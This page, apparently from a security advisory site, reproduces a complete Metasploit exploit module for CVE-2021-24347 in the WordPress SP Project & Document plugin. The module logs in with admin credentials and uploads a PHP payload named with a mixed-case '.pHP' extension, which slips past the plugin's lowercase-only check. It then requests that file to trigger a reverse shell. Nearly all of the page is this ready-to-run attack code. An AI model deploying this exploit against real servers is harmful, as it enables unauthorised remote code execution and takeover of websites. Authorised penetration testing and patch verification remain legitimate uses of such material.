WordPress SP Project And Document Remote Code Execution

2021.07.27
Credit: Ron Jost
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution', 'Description' => %q{ This module allows an attacker with a privileged Wordpress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22. The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance. Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php` }, 'License' => MSF_LICENSE, 'Author' => [ 'Ron Jost', # Exploit-db 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ ['EDB', '50115'], ['CVE', '2021-24347'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Wordpress SP Project & Document < 4.22', {}] ], 'Privileged' => false, 'DisclosureDate' => '2021-06-14', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']) ] end def check return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online? cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie check_plugin_version_from_readme('sp-client-document-manager', '4.22') else CheckCode::Detected('The admin credentials given are wrong !') end end def get_user_id(cookie) r = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'), 'Referer' => full_uri('/wp-admin/users.php'), 'vars_get' => { 'page' => 'sp-client-document-manager-fileview' } }) fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r user_id = r.body.to_s.match(%r{<option value='(\d+)'>#{datastore['USERNAME']}</option>}) fail_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user_id && user_id[1] user_id[1] end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Authentication failed') unless cookie user_id = get_user_id(cookie) payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.pHP" post_data = Rex::MIME::Message.new post_data.add_part(Rex::Text.rand_text_alpha(5..8), nil, nil, "form-data; name='cdm_upload_file_field'") post_data.add_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user_id}", nil, nil, "form-data; name='_wp_http_referer'") post_data.add_part('exploits', nil, nil, "form-data; name='dlg-upload-name'") post_data.add_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''") post_data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload_name}'") post_data.add_part('', nil, nil, "form-data; name='dlg-upload-notes'") post_data.add_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'") print_status("Uploading file \'#{payload_name}\' containing the payload...") r = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'), 'headers' => { 'Origin' => full_uri(''), 'Referer' => full_uri('wp-admin/admin.php') }, 'vars_get' => { 'page' => 'sp-client-document-manager-fileview', 'id' => user_id }, 'cookie' => cookie, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302 register_files_for_cleanup(payload_name.downcase) print_status('Triggering the payload ...') send_request_cgi( 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user_id}/#{payload_name.downcase}") ) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top